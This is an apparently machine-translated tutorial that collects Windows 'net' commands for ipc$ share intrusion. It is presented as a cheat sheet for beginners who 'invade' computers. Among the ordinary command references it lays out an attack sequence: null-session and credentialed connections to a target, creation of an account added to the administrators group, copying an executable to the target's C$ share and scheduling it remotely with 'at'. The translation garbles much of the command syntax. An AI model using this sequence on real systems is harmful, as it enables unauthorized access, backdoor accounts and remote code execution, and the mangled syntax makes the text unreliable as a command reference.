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This article mainly introduces what are the commands related to ipc channel intrusion, which can be used for reference by interested friends. I hope you can learn a lot after reading this article.

Commands related to ipc$ intrusion:

When we invade, we will inevitably encounter forgetting orders. Now we will summarize some of the commands I know and provide them to you. A large part of the problems of beginners can be solved through these commands.

00:net use

Function: connect the computer or disconnect the computer from shared resources, or display the connection information of the computer.

Command format:

Net use [devicename | *] [\\ computername\\ sharename [\\ volume]] [password | *]] [/ user: [domainname\\] username] [[/ delete] | [/ persistent: {yes | sharename}]

Parameter description:

(1) Type net use with no parameters to list the network connections.

(2) devicename specifies the name of the resource to connect to or the name of the device to disconnect.

(3)\ computername\\ sharename server and the name of the shared resource.

(4) password for password to access shared resources.

(5) * prompt for a password.

(6) / user specifies another user to connect to.

(7) domainname specifies another domain.

(8) username specifies the user name of the login.

(9) / home connects the user to its host directory.

(10) / delete cancels the specified network connection.

(11) / persistent controls the use of permanent network connections.

01: net use\\ X.X.X.X\\ ipc$\ "\" / user:\ "\" establish an empty connection

02: net use\\ X.X.X.X\\ ipc$\ "password\" / user:\ "user name\" to establish a non-empty connection

03: net use\ X.X.X.X\\ ipc$ / del delete the connection

04: net time\ X.X.X.X

Function: synchronizes the computer's clock with the time of another computer or domain.

Command format: net time [\ computername | / domain [: name]] [/ set]

Parameter description:

(1)\ the server name to be checked or synchronized by computername.

/ domain [: name] specifies the domain with which you want to synchronize time.

(3) / set synchronizes the computer clock with the clock of the specified computer or domain.

05: net view\ X.X.X.X

Purpose: displays a list of domains, computers, or shared resources for a specified computer.

Command format: net view [\ computername | / domain [: domainname]]

Parameter description:

(1) Type net view without parameters to display a list of computers in the current domain.

(2)\ computername specifies the computer whose shared resources you want to view.

(3) / domain [: domainname] specifies the domain whose available computers you want to view.

06: net use X:\ X.X.X.X\\ Y maps a shared resource named Y to a local X disk

07: net use X: / del deletes the mapped X disk

08: net share

Purpose: create, delete, or display shared resources.

Command format: net share share name=drive:path [/ users:number | / unlimited] [/ remark:\ "text\"]

Parameter description: (1) Type net share without parameters to display information about all shared resources on the local computer. (2) sharename is the network name of the shared resource.

(3) drive:path specifies the absolute path to the shared directory.

(4) / users:number sets the maximum number of users who can access shared resources at the same time.

(5) / unlimited does not limit the number of users who access shared resources at the same time.

(6) / remark:\ "text\" add a comment about the resource, with the comment text enclosed in quotation marks.

09: net user

Function: add or change user account or display user account information.

The command can also be written as net users

Command format: net user [username [password | *] [options]] [/ domain]

Parameter description: (1) Type net user without parameters to view the list of user accounts on the computer.

(2) username adds, deletes, changes or views user account names.

(3) password assigns or changes passwords to user accounts.

(4) * prompt for password.

(5) / domain performs operations in the primary domain controller of the computer's primary domain.

10: net start role: start services, or display a list of started services.

11: net pause function: pauses running services.

12: net Continue function: reactivate pending services.

13: net stop

Function: stop the Windows NT network service.

Command format: net stop service

Parameter description:

(1) alerter (alarm)

(2) client service for netware (Netware client service)

(3) clipbook server (scrapbook server)

4) computer browser (computer browser)

(5) directory replicator (directory replicator)

(6) ftp publishing service (ftp) (ftp distribution service)

(7) lpdsvc

(8) net logon (network login)

(9) network dde (Network dde)

(10) network dde dsdm (Network dde dsdm)

(11) network monitor agent (Network Monitoring Agent)

(12) nt lm security support provider (provided by NT LM security support)

(13) ole (object linking and embedding)

(14) remote access connection manager (remote access connection Manager)

(15) remote access isnsap service (remote access to isnsap service)

(16) remote access server (remote access server)

Remote procedure call (rpc) locator (remote procedure call locator)

(18) remote procedure call (rpc) service (remote procedure call Service)

(19) schedule (scheduling)

(20) server (server)

(21) simple tcp/ip services (simple TCP/IP service)

(22) snmp

(23) spooler (spooler)

(24) tcp/ip netbios helper (TCP/IP NETBIOS accessibility)

(25) ups

(26) workstation (workstation)

(27) messenger (Messenger)

(28) dhcp client

(29) eventlog

14:net Statistics

Purpose: to display the statistical records of local workstations or server services.

Command format: net statistics [workstation | server]

Parameter description: (1) Type net statistics without parameters to list the running services whose statistics are available.

(2) workstation displays statistics of the local workstation service.

(3) server displays statistics for local server services.

For example: net statistics server | more displays statistics of server services.

15:net Session (equivalent to net sessions or net sess)

Function: list or disconnect the sessions of the local computer and the clients connected to it.

Command format: net session [\ computername] [/ delete]

Parameter description: (1) Type net session without parameters to display information about all conversations with the local computer.

(2)\ computername identifies the computer to list or disconnect the session.

Example: net session\ cnse8 to display a list of client session information for the computer named cnse8.

15: net user account name password / add add account number and password

16: net user account name / active:yes Activation account

17: net localgroup administrators account name / add add this account to the local admin group

18: Net Send

Purpose: to send messages to other users, computers, or communication names on the network.

Command format: net send {name | * | / domain [: name] | / users} message

Parameter description: (1) the user name, computer name or communication name of the name to receive and send messages.

(2) * send messages to all names in the group.

(3) / domain [: name] sends messages to all names in the computer domain.

(4) / users sends messages to all users connected to the server.

(5) message is the text sent as a message.

Example: (1) net send / users Welcome to cnse8.com displays\ "Welcome to cnse8.com\" to all users connected to this computer.

19:net Config

Purpose: to display the currently running configurable service, or to display and change the settings of a service.

Command format: net config [service [options]]

Parameter description:

(1) Type net config with no parameters to display a list of configurable services.

(2) A service (server or workstation) configured by service through the net config command.

(3) specific options for options services.

20:net Accounts

Function: update the user account database, change the password and login requirements for all accounts.

Command format: net accounts [/ forcelogoff: {minutes | no}] [/ minpwlen:length] [/ maxpwage: {days | unlimited}] [/ minpwage:days] [/ uniquepw:number] [/ domain]

Parameter description:

(1) Type net accounts with no parameters to display the current password setting, login time limit, and domain information.

(2) / forcelogoff: {minutes | no} setting when the user account or valid login time expires.

(3) / minpwlen:length sets the minimum number of characters for the user account password.

(4) / maxpwage: {days | unlimited} set the maximum number of days for a user's account password to be valid.

(5) / minpwage:days sets the minimum number of days that the user must keep the original password.

(6) / uniquepw:number requires that when users change their passwords, they must go through number before they can reuse the same password.

(7) / domain performs this operation on the primary domain controller of the current domain.

(8) / sync when used with the primary domain controller, this command synchronizes all backup domain controllers in the domain.

Example: net accounts / minpwlen:7 sets the minimum number of characters for a user's account password to 7.

21:copy path\\ file name\\ IP\\ share directory name

Example: copy c:\\ cnse8.exe\ X.X.X.X\\ c $copy the cnse8.exe file under disk c to the other party's disk c.

Copy\\ X.X.X.X\\ c$\\ cnse8.exe c:\ copy the file cnse8.exe on the remote machine to yourself

On the machine.

22:at\ IP time program name adds a schedule remotely.

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